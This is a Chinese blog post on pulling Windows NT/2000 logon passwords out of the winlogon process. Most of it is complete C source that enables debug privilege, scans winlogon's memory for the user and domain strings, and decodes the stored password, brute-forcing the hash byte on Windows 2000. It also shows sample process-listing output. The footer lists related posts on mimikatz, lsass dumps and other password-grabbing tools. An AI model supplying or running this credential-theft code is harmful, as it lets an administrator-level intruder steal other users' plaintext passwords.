获取windows登陆账户密码

最新推荐文章于 2024-03-22 01:11:25 发布
最新推荐文章于 2024-03-22 01:11:25 发布
阅读量4.3k 收藏 2
点赞数
本文详细介绍了如何通过Windows Logon Process中的密码存储机制，利用特定代码实现密码的提取。包括不同操作系统的密码查找方法，如Windows NT和Windows 2000，并提供了具体的实现代码，展示了如何定位密码所在的内存位置，解码并显示密码。
摘要由CSDN通过智能技术生成

Windows Logon Process，Windows NT 用户登陆程序，管理用户登录和退出。

因为登陆的域名和用户名是明文存储在winlogon进程里的，而Password是限定了查找本进程用户的密码
<167-174：    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
   GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>，然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ，找到后就查后边的加密口令。

其实只要你自己指定用户名和winlogon进程去查找就行了，只要你是管理员，任何本机用msgina.dll图形登陆的用户口令都可以找到。

1. pulist，找到系统里登陆的域名和用户名，及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。

example:

C:Documents and Settingsbingle>pulist
Process           PID  User
Idle              0
System            8
smss.exe          164  NT AUTHORITYSYSTEM
csrss.exe         192  NT AUTHORITYSYSTEM
winlogon.exe      188  NT AUTHORITYSYSTEM
wins.exe          1212 NT AUTHORITYSYSTEM
Explorer.exe      388  TEST-2KSERVERAdministrator
internat.exe      1828 TEST-2KSERVERAdministrator
conime.exe        1868 TEST-2KSERVERAdministrator
msiexec.exe       1904 NT AUTHORITYSYSTEM
tlntsvr.exe       1048 NT AUTHORITYSYSTEM
taskmgr.exe       1752 TEST-2KSERVERAdministrator
csrss.exe         2056 NT AUTHORITYSYSTEM
winlogon.exe      2416 NT AUTHORITYSYSTEM
rdpclip.exe       2448 TEST-2KSERVERclovea
Explorer.exe      2408 TEST-2KSERVERclovea
internat.exe      1480 TEST-2KSERVERclovea
cmd.exe           2508 TEST-2KSERVERAdministrator
ntshell.exe       368  TEST-2KSERVERAdministrator
ntshell.exe       1548 TEST-2KSERVERAdministrator
ntshell.exe       1504 TEST-2KSERVERAdministrator
csrss.exe         1088 NT AUTHORITYSYSTEM
winlogon.exe      1876 NT AUTHORITYSYSTEM
rdpclip.exe       1680 TEST-2KSERVERbingle
Explorer.exe      2244 TEST-2KSERVERbingle
conime.exe        2288 TEST-2KSERVERbingle
internat.exe      1592 TEST-2KSERVERbingle
cmd.exe           1692 TEST-2KSERVERbingle
mdm.exe           2476 TEST-2KSERVERbingle
taskmgr.exe       752  TEST-2KSERVERbingle
pulist.exe        2532 TEST-2KSERVERbingle

具体实现代码如下

#include <windows.h>     
#include <tchar.h>     
#include <stdio.h>     
#include <stdlib.h>     
          
typedef struct _UNICODE_STRING     
{     
    USHORT Length;     
    USHORT MaximumLength;     
    PWSTR Buffer;     
} UNICODE_STRING, *PUNICODE_STRING;     
          
// Undocumented typedef's     
typedef struct _QUERY_SYSTEM_INFORMATION     
{     
    DWORD GrantedAccess;     
    DWORD PID;     
    WORD HandleType;     
    WORD HandleId;     
    DWORD Handle;     
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;     
typedef struct _PROCESS_INFO_HEADER     
{     
    DWORD Count;     
    DWORD Unk04;     
    DWORD Unk08;     
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;     
typedef struct _PROCESS_INFO     
{     
    DWORD LoadAddress;     
    DWORD Size;     
    DWORD Unk08;     
    DWORD Enumerator;     
    DWORD Unk10;     
    char Name [0x108];     
} PROCESS_INFO, *PPROCESS_INFO;     
typedef struct _ENCODED_PASSWORD_INFO     
{     
    DWORD HashByte;     
    DWORD Unk04;     
    DWORD Unk08;     
    DWORD Unk0C;     
    FILETIME LoggedOn;     
    DWORD Unk18;     
    DWORD Unk1C;     
    DWORD Unk20;     
    DWORD Unk24;     
    DWORD Unk28;     
    UNICODE_STRING EncodedPassword;     
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;     
          
typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);     
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);     
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);     
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);     
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);     
          
// Private Prototypes     
BOOL IsWinNT (void);     
BOOL IsWin2K (void);     
BOOL AddDebugPrivilege (void);     
DWORD FindWinLogon (void);     
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);     
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);     
void DisplayPasswordWinNT (void);     
void DisplayPasswordWin2K (void);     
          
// Global Variables     
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;     
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;     
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;     
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;     
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;     
          
DWORD PasswordLength = 0;     
PVOID RealPasswordP = NULL;     
PVOID PasswordP = NULL;     
DWORD HashByte = 0;    
wchar_t UserName [0x400];     
wchar_t UserDomain [0x400];     
          
int __cdecl main( int argc, char* argv[] )     
{     
    printf( "nt To Find Password in the Winlogon processn" );    
    printf( " Usage: %s DomainName UserName PID-of-WinLogonnn", argv[0] );     
          
    if ((!IsWinNT ())     
            &&     
        (!IsWin2K ()))     
    {     
        printf ("Windows NT or Windows 2000 are required.n");     
        return (0);     
    }     
          
    // Add debug privilege to PasswordReminder -     
    // this is needed for the search for Winlogon.     
    // 增加PasswordReminder的权限     
    // 使得PasswordReminder可以打开并调试Winlogon进程     
    if (!AddDebugPrivilege ())     
    {     
        printf     
            ("Unable to add debug privilege.n");     
        return (0);     
    }     
    printf ("The debug privilege has been added to PasswordReminder.n");     
          
    // 获得几个未公开API的入口地址     
    HINSTANCE hNtDll =     
        LoadLibrary     
            ("NTDLL.DLL");     
    pfnNtQuerySystemInformation =     
        (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress     
            (hNtDll,     
            "NtQuerySystemInformation");     
    pfnRtlCreateQueryDebugBuffer =     
        (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress     
            (hNtDll,     
            "RtlCreateQueryDebugBuffer");     
    pfnRtlQueryProcessDebugInformation =     
        (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress     
            (hNtDll,     
            "RtlQueryProcessDebugInformation");     
    pfnRtlDestroyQueryDebugBuffer =     
        (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress     
            (hNtDll,     
            "RtlDestroyQueryDebugBuffer");     
    pfnRtlRunDecodeUnicodeString =     
        (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress     
            (hNtDll,     
            "RtlRunDecodeUnicodeString");     
          
    // Locate WinLogon's PID - need debug privilege and admin rights.     
    // 获得Winlogon进程的PID     
    // 这里作者使用了几个Native API，其实使用PSAPI一样可以     
    DWORD WinLogonPID =     
        argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;     
    if (WinLogonPID == 0)     
    {     
        printf     
            ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.n");     
        printf     
            ("PasswordReminder is unable to find the password in memory.n");     
        FreeLibrary (hNtDll);     
        return (0);     
    }     
          
    printf("The WinLogon process id is %d (0x%8.8lx).n",     
            WinLogonPID, WinLogonPID);     
          
    // Set values to check memory block against.     
    // 初始化几个和用户账号相关的变量     
    memset(UserName, 0, sizeof (UserName));     
    memset(UserDomain, 0, sizeof (UserDomain));     
    if( argc > 2 )    
    {       
        mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );    
        mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );    
    }else
    {    
        GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);     
        GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);     
    }    
    printf( " To find %S%S password in process %d ...n", UserDomain, UserName, WinLogonPID );    
          
    // Locate the block of memory containing     
    // the password in WinLogon's memory space.     
    // 在Winlogon进程中定位包含Password的内存块     
    BOOL FoundPasswordPage = FALSE;     
    if (IsWin2K ())     
        FoundPasswordPage =     
            LocatePasswordPageWin2K     
                (WinLogonPID,     
                &PasswordLength);     
    else 
        FoundPasswordPage =     
            LocatePasswordPageWinNT     
                (WinLogonPID,     
                &PasswordLength);     
          
    if (FoundPasswordPage)     
    {     
        if (PasswordLength == 0)     
        {     
            printf     
                ("The logon information is: %S/%S.n",     
                UserDomain,     
                UserName);     
            printf     
                ("There is no password.n");     
        }     
        else 
        {     
            printf     
                ("The encoded password is found at 0x%8.8lx and has a length of %d.n",     
                RealPasswordP,     
                PasswordLength);     
            // Decode the password string.     
            if (IsWin2K ())     
                DisplayPasswordWin2K ();     
            else 
                DisplayPasswordWinNT ();     
        }     
    }     
    else 
        printf     
            ("PasswordReminder is unable to find the password in memory.n");     
          
    FreeLibrary     
        (hNtDll);     
    return (0);     
} // main     
          
//     
// IsWinNT函数用来判断操作系统是否WINNT     
//     
BOOL     
    IsWinNT     
        (void)     
{     
    OSVERSIONINFO OSVersionInfo;     
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);     
    if (GetVersionEx     
            (&OSVersionInfo))     
        return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);     
    else 
        return (FALSE);     
} // IsWinNT     
          
          
//     
// IsWin2K函数用来判断操作系统是否Win2K     
//     
BOOL     
    IsWin2K     
        (void)     
{     
    OSVERSIONINFO OSVersionInfo;     
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);     
    if (GetVersionEx     
            (&OSVersionInfo))     
        return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)     
                    &&     
                (OSVersionInfo.dwMajorVersion == 5));     
    else 
        return (FALSE);     
} // IsWin2K     
          
          
//     
// AddDebugPrivilege函数用来申请调试Winlogon进程的特权     
//     
BOOL     
    AddDebugPrivilege     
        (void)     
{     
    HANDLE Token;     
    TOKEN_PRIVILEGES TokenPrivileges, PreviousState;     
    DWORD ReturnLength = 0;     
    if (OpenProcessToken     
            (GetCurrentProcess (),     
            TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,     
            &Token))     
        if (LookupPrivilegeValue     
                (NULL,     
                "SeDebugPrivilege",     
                &TokenPrivileges.Privileges[0].Luid))     
        {     
            TokenPrivileges.PrivilegeCount = 1;     
            TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     
            return 
                (AdjustTokenPrivileges     
                    (Token,     
                    FALSE,     
                    &TokenPrivileges,     
                    sizeof (TOKEN_PRIVILEGES),     
                    &PreviousState,     
                    &ReturnLength));     
        }     
    return (FALSE);     
} // AddDebugPrivilege     
          
          
//     
// Note that the following code eliminates the need     
// for PSAPI.DLL as part of the executable.     
// FindWinLogon函数用来寻找WinLogon进程     
// 由于作者使用的是Native API，因此不需要PSAPI的支持     
//     
DWORD     
    FindWinLogon     
        (void)     
{     
#define INITIAL_ALLOCATION 0x100     
    DWORD rc = 0;     
    DWORD SizeNeeded = 0;     
    PVOID InfoP =     
        HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            INITIAL_ALLOCATION);     
    // Find how much memory is required.     
    pfnNtQuerySystemInformation     
        (0x10,     
        InfoP,     
        INITIAL_ALLOCATION,     
        &SizeNeeded);     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        InfoP);     
    // Now, allocate the proper amount of memory.     
    InfoP =     
        HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            SizeNeeded);     
    DWORD SizeWritten = SizeNeeded;     
    if (pfnNtQuerySystemInformation     
            (0x10,     
            InfoP,     
            SizeNeeded,     
            &SizeWritten))     
    {     
        HeapFree     
            (GetProcessHeap (),     
            0,     
            InfoP);     
        return (0);     
    }     
    DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);     
    if (NumHandles == 0)     
    {     
        HeapFree     
            (GetProcessHeap (),     
            0,     
            InfoP);     
        return (0);     
    }     
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =     
        (PQUERY_SYSTEM_INFORMATION) InfoP;     
    DWORD i;     
    for (i = 1; i <= NumHandles; i++)     
    {     
        // "5" is the value of a kernel object type process.     
        if (QuerySystemInformationP->HandleType == 5)     
        {     
            PVOID DebugBufferP =     
                pfnRtlCreateQueryDebugBuffer     
                    (0,     
                    0);     
            if (pfnRtlQueryProcessDebugInformation     
                    (QuerySystemInformationP->PID,     
                    1,     
                    DebugBufferP) == 0)     
            {     
                PPROCESS_INFO_HEADER ProcessInfoHeaderP =     
                    (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);     
                DWORD Count =     
                    ProcessInfoHeaderP->Count;     
                PPROCESS_INFO ProcessInfoP =     
                    (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));     
                if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)     
                {     
                    DWORD i;     
                    DWORD dw = (DWORD) ProcessInfoP;     
                    for (i = 0; i < Count; i++)     
                    {     
                        dw += sizeof (PROCESS_INFO);     
                        ProcessInfoP = (PPROCESS_INFO) dw;     
                        if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)     
                            return (0);     
                        if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)     
                            rc =     
                                QuerySystemInformationP->PID;     
                    }     
                    if (DebugBufferP)     
                        pfnRtlDestroyQueryDebugBuffer     
                            (DebugBufferP);     
                    HeapFree     
                        (GetProcessHeap (),     
                        0,     
                        InfoP);     
                    return (rc);     
                }     
            }     
            if (DebugBufferP)     
                pfnRtlDestroyQueryDebugBuffer     
                    (DebugBufferP);     
        }     
        DWORD dw = (DWORD) QuerySystemInformationP;     
        dw += sizeof (QUERY_SYSTEM_INFORMATION);     
        QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;     
    }     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        InfoP);     
    return (rc);     
} // FindWinLogon     
          
//     
// LocatePasswordPageWinNT函数用来在NT中找到用户密码     
//     
BOOL     
    LocatePasswordPageWinNT     
        (DWORD WinLogonPID,     
        PDWORD PasswordLength)     
{     
#define USER_DOMAIN_OFFSET_WINNT    0x200     
#define USER_PASSWORD_OFFSET_WINNT    0x400     
    BOOL rc = FALSE;     
    HANDLE WinLogonHandle =     
        OpenProcess     
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,     
            FALSE,     
            WinLogonPID);     
    if (WinLogonHandle == 0)     
        return (rc);     
    *PasswordLength = 0;     
    SYSTEM_INFO SystemInfo;     
    GetSystemInfo     
        (&SystemInfo);     
    DWORD PEB = 0x7ffdf000;     
    DWORD BytesCopied = 0;     
    PVOID PEBP =     
        HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            SystemInfo.dwPageSize);     
    if (!ReadProcessMemory     
            (WinLogonHandle,     
            (PVOID) PEB,     
            PEBP,     
            SystemInfo.dwPageSize,     
            &BytesCopied))     
    {     
        CloseHandle     
            (WinLogonHandle);     
        return (rc);     
    }     
    // Grab the value of the 2nd DWORD in the TEB.     
    PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));     
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;     
    if (VirtualQueryEx     
            (WinLogonHandle,     
            (PVOID) *WinLogonHeap,     
            &MemoryBasicInformation,     
            sizeof (MEMORY_BASIC_INFORMATION)))     
        if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)     
                &&     
            ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))     
        {     
            PVOID WinLogonMemP =     
                HeapAlloc     
                    (GetProcessHeap (),     
                    HEAP_ZERO_MEMORY,     
                    MemoryBasicInformation.RegionSize);     
            if (ReadProcessMemory     
                    (WinLogonHandle,     
                    (PVOID) *WinLogonHeap,     
                    WinLogonMemP,     
                    MemoryBasicInformation.RegionSize,     
                    &BytesCopied))     
            {     
                DWORD i = (DWORD) WinLogonMemP;     
                DWORD UserNamePos = 0;     
                // The order in memory is UserName followed by the UserDomain.     
                // 在内存中搜索UserName和UserDomain字符串     
                do 
                {     
                    if ((wcsicmp (UserName, (wchar_t *) i) == 0)     
                            &&     
                        (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))     
                    {     
                        UserNamePos = i;     
                        break;     
                    }     
                    i += 2;     
                } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);     
                if (UserNamePos)     
                {     
                    PENCODED_PASSWORD_INFO EncodedPasswordInfoP =     
                        (PENCODED_PASSWORD_INFO)     
                            ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);     
                    FILETIME LocalFileTime;     
                    SYSTEMTIME SystemTime;     
                    if (FileTimeToLocalFileTime     
                        (&EncodedPasswordInfoP->LoggedOn,     
                        &LocalFileTime))     
                        if (FileTimeToSystemTime     
                            (&LocalFileTime,     
                            &SystemTime))     
                            printf     
                                ("You logged on at %d/%d/%d %d:%d:%dn",     
                                SystemTime.wMonth,     
                                SystemTime.wDay,     
                                SystemTime.wYear,     
                                SystemTime.wHour,     
                                SystemTime.wMinute,     
                                SystemTime.wSecond);     
                    *PasswordLength =     
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);     
                    // NT就是好，hash-byte直接放在编码中:)     
                    HashByte =     
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;     
                    RealPasswordP =     
                        (PVOID) (*WinLogonHeap +     
                            (UserNamePos - (DWORD) WinLogonMemP) +     
                            USER_PASSWORD_OFFSET_WINNT + 0x34);     
                    PasswordP =     
                        (PVOID) ((PBYTE) (UserNamePos +       
                            USER_PASSWORD_OFFSET_WINNT + 0x34));     
                    rc = TRUE;     
                }     
            }     
        }     
          
    HeapFree     
        (GetProcessHeap (),     
        0,     
        PEBP);     
    CloseHandle     
        (WinLogonHandle);     
    return (rc);     
} // LocatePasswordPageWinNT     
          
          
//     
// LocatePasswordPageWin2K函数用来在Win2K中找到用户密码     
//     
BOOL     
    LocatePasswordPageWin2K     
        (DWORD WinLogonPID,     
        PDWORD PasswordLength)     
{     
#define USER_DOMAIN_OFFSET_WIN2K    0x400     
#define USER_PASSWORD_OFFSET_WIN2K    0x800     
    HANDLE WinLogonHandle =     
        OpenProcess     
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,     
            FALSE,     
            WinLogonPID);     
    if (WinLogonHandle == 0)     
        return (FALSE);     
    *PasswordLength = 0;     
    SYSTEM_INFO SystemInfo;     
    GetSystemInfo     
        (&SystemInfo);     
    DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;     
    DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;     
    DWORD Increment = SystemInfo.dwPageSize;     
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;     
    while (i < MaxMemory)     
    {     
        if (VirtualQueryEx     
                (WinLogonHandle,     
                (PVOID) i,     
                &MemoryBasicInformation,     
                sizeof (MEMORY_BASIC_INFORMATION)))     
        {     
            Increment = MemoryBasicInformation.RegionSize;     
            if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)     
                    &&     
                ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))     
            {     
                PVOID RealStartingAddressP =     
                    HeapAlloc     
                        (GetProcessHeap (),     
                        HEAP_ZERO_MEMORY,     
                        MemoryBasicInformation.RegionSize);     
                DWORD BytesCopied = 0;     
                if (ReadProcessMemory     
                        (WinLogonHandle,     
                        (PVOID) i,     
                        RealStartingAddressP,     
                        MemoryBasicInformation.RegionSize,     
                        &BytesCopied))     
                {     
                    // 在WinLogon的内存空间中寻找UserName和DomainName的字符串     
                    if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)     
                            &&     
                        (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))     
                    {     
                        RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);     
                        PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);     
                        // Calculate the length of encoded unicode string.     
                        // 计算出密文的长度     
                        PBYTE p = (PBYTE) PasswordP;     
                        DWORD Loc = (DWORD) p;     
                        DWORD Len = 0;     
                        if ((*p == 0)     
                                &&     
                            (* (PBYTE) ((DWORD) p + 1) == 0))     
                            ;     
                        else 
                            do 
                            {     
                                Len++;     
                                Loc += 2;     
                                p = (PBYTE) Loc;     
                            } while 
                                (*p != 0);     
                        *PasswordLength = Len;     
                        CloseHandle     
                            (WinLogonHandle);     
                        return (TRUE);     
                    }     
                }     
                HeapFree     
                    (GetProcessHeap (),     
                    0,     
                    RealStartingAddressP);     
            }     
        }     
        else 
            Increment = SystemInfo.dwPageSize;     
        // Move to next memory block.     
        i += Increment;     
    }     
    CloseHandle     
        (WinLogonHandle);     
    return (FALSE);     
} // LocatePasswordPageWin2K     
          
          
//     
// DisplayPasswordWinNT函数用来在NT中解码用户密码     
//     
void 
    DisplayPasswordWinNT     
        (void)     
{     
    UNICODE_STRING EncodedString;     
    EncodedString.Length =     
        (WORD) PasswordLength * sizeof (wchar_t);     
    EncodedString.MaximumLength =     
        ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);     
    EncodedString.Buffer =     
        (PWSTR) HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            EncodedString.MaximumLength);     
    CopyMemory     
        (EncodedString.Buffer,     
        PasswordP,     
        PasswordLength * sizeof (wchar_t));     
    // Finally - decode the password.     
    // Note that only one call is required since the hash-byte     
    // was part of the orginally encoded string.     
    // 在NT中，hash-byte是包含在编码中的     
    // 因此只需要直接调用函数解码就可以了     
    pfnRtlRunDecodeUnicodeString     
        ((BYTE) HashByte,     
        &EncodedString);     
    printf     
        ("The logon information is: %S/%S/%S.n",     
        UserDomain,     
        UserName,     
        EncodedString.Buffer);     
    printf     
        ("The hash byte is: 0x%2.2x.n",     
        HashByte);     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        EncodedString.Buffer);     
} // DisplayPasswordWinNT     
          
//     
// DisplayPasswordWin2K函数用来在Win2K中解码用户密码     
//     
void 
    DisplayPasswordWin2K     
        (void)     
{     
    DWORD i, Hash = 0;     
    UNICODE_STRING EncodedString;     
    EncodedString.Length =     
        (USHORT) PasswordLength * sizeof (wchar_t);     
    EncodedString.MaximumLength =     
        ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);     
    EncodedString.Buffer =     
        (PWSTR) HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            EncodedString.MaximumLength);     
    // This is a brute force technique since the hash-byte     
    // is not stored as part of the encoded string - :>(.     
    // 因为在Win2K中hash-byte并不存放在编码中     
    // 所以在这里进行的是暴力破解     
    // 下面的循环中i就是hash-byte     
    // 我们将i从0x00到0xff分别对密文进行解密     
    // 如果有一个hash-byte使得所有密码都是可见字符，就认为是有效的     
    // 这个算法实际上是从概率角度来解码的     
    // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小     
    for (i = 0; i <= 0xff; i++)     
    {     
        CopyMemory     
            (EncodedString.Buffer,     
            PasswordP,     
            PasswordLength * sizeof (wchar_t));     
        // Finally - try to decode the password.     
        // 使用i作为hash-byte对密文进行解码     
        pfnRtlRunDecodeUnicodeString     
            ((BYTE) i,     
            &EncodedString);     
        // Check for a viewable password.     
        // 检查解码出的密码是否完全由可见字符组成     
        // 如果是则认为是正确的解码     
        PBYTE p = (PBYTE) EncodedString.Buffer;     
        BOOL Viewable = TRUE;     
        DWORD j, k;     
        for (j = 0; (j < PasswordLength) && Viewable; j++)     
        {     
            if ((*p)     
                    &&     
                (* (PBYTE)(DWORD (p) + 1) == 0))     
            {     
                if (*p < 0x20)     
                    Viewable = FALSE;     
                if (*p > 0x7e)     
                    Viewable = FALSE;     
                //0x20是空格，0X7E是~，所有密码允许使用的可见字符都包括在里面了     
            }     
            else 
                Viewable = FALSE;     
            k = DWORD (p);     
            k++; k++;     
            p = (PBYTE) k;     
        }     
        if (Viewable)     
        {     
            printf     
                ("The logon information is: %S/%S/%S.n",     
                UserDomain,     
                UserName,     
                EncodedString.Buffer);     
            printf     
                ("The hash byte is: 0x%2.2x.n",     
                i);     
        }     
    }     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        EncodedString.Buffer);     
}


冰灯
关注
Windows中获取用户密码
谢公子的博客
02-05 5673
目录 Windows中对用户密码的处理 LM-hash NTLM-hash 复制SAM文件 抓取明文密码或密码Hash 使用mimikatz 抓取内存中的密码 使用mimikatz读取域控上所有域用户的Hash值 使用PowerShell命令抓取内存中的密码 PwDump7抓取密码Hash QuarksPwDump抓取密码Hash 通过SAM和System文件读取密码Has...
获取用户登录信息的方法（Java）
CyberLancer的博客
09-12 321
注意，在实际应用中，用户的登录信息通常需要进行加密处理和安全验证，以保护用户的隐私和系统的安全。上述代码仅为演示目的，实际应用中需要结合具体的安全要求进行进一步的处理。接下来，你可以根据需要对用户名和密码进行验证和处理。例如，可以将其与预先存储的用户名和密码进行比较，或者将其传递给其他方法进行进一步的身份验证。用户登录信息是在用户进行登录操作时输入的用户名和密码等身份验证信息。在Java中，可以使用多种方法获取用户登录信息。最后，我们将获取到的用户名和密码输出到控制台，以验证是否正确获取到用户输入的信息。
获取Window本地账户密码
HK_Sky的博客
03-01 2069
声明: 我也是从其他大佬博客看来的. 获取到的密码仍为加密字符串, 加密算法为(NTLM), 在某些网站上能搜索到对应的明文,但是需要付费! 顺便说一句, CSDN上下在的工具软件大都没用(没说明, 版本低了, 质量太差等), 可以的话去软件的作者或者官网下载 大佬博客地址:http://blog.gentilkiwi.com/mimikatz 软件下载地址:https://github....
windows密码获取
07-29 2437
概述 渗透测试过程中对于windows 系统中的密码获取是十分重要的一步，获取密码后我们可以对内网中其他机器进行撞库，快速、批量拿下其他服务器权限。 windows密码获取方法 最主流的获取windows 密码的方法最主流的方法有三种，mimikatz 直接执行获取；procdump + mimikatz 进行获取；读取注册表进行获取 + mimikatz 解密进行获取。 使用这三种方式的前提是必须在管理员的权限下进行执行命令，不然执行会失败。 mimikatz直接获取 直接将mimikatz 上传到
VC源码获取WINDOWS系统所有的用户密码
08-23
VC++源码,获取系统密码，VC源码获取WINDOWS系统所有的用户密码, 分也高我晓得,这源码确实是好东西，我相信你不会在乎这几分！ 华夏黑客联盟QQ群:110139529-欢迎高手前来
Windows开机账户与密码获取工具
11-23
抓取Windows电脑开机用户名和密码，包括历史登录的账号及密码，工具中附有详细操作命令，操作简便。
获取当前系统用户登录密码
11-17
可以获取当前Windows用户的登录密码。附C++源码
BAT批处理脚本-获取当前用户名和密码.zip
12-22
尽管如此，如果你的场景是想要获取Windows自动登录的密码，或者需要进行某种形式的身份验证，那么你可以使用其他方法，比如利用某些第三方工具或API，但这通常涉及到更高级的编程技巧，如使用C++、C#等语言，并且...
MSF后渗透之获取windows登录密码
qq_55364369的博客
09-05 2874
MSF后渗透之获取windows登录密码
C语言获取Windows账号密码,VC获取Windows所有用户的用户名
weixin_35600835的博客
05-18 706
#include#include#include#include#includeusing namespace std;vectorm_account;GetOSUserName(){LPUSER_INFO_1 pBuf = NULL;LPUSER_INFO_1 pTmpBuf ;DWORD dwLevel = 1;DWORD dwPrefMaxLen = -1;DWORD dwEntri...
PHP获取windows登录用户名的方法
10-25
代码中所描述的“获取Windows登录用户名”更确切地说是通过NTLM协议与Windows服务器进行交互，通过认证过程验证用户名和密码的正确性。实际的用户名信息是存储在服务器端的认证系统中的，比如活动目录（Active ...
java 获取密码框密码,获得Windows下的密码框密码--编程学习网
weixin_36221113的博客
03-09 526
获得Windows下的密码框密码，似乎是很多人感兴趣的话题，CSDN上问这类问题的人不计其数……这样看来，老罗也不能免俗啦，今天就让我跟大家探讨一下如何实现这一功能吧。^_^我们知道，Windows下有一条功能很强劲的函数——SendMessage()，利用它能够实现很多意想不到的功能，例如获得密码框的密码就是其中一例。我们可以这样做：char szPsw[255];SendMessage(hWn...
Windows抓取密码的四种方式&&其他各类密码抓取
最新发布
huohaowen的博客
03-22 4104
对于Windows（不是域环境）我们有四种方法去抓取它的密码在这次的blog，我们还是用的mimkatz。
从dump文件中读取开机密码
Sven的忘却日记
08-31 1337
通过vbs脚本创建lsass.exe进程dump文件，使用Mimikatz从dump文件中读取电脑密码！ 使用方法：cscript.exe test.vbs lsass.exe 脚本代码： Option Explicit Const SW_HIDE = 0 If (WScript.Arguments.Count <> 1) Then WScript.StdOut.Writ...
java 获取系统用户名和密码_Java – 从配置文件加密/解密用户名和密码
weixin_34808718的博客
02-25 884
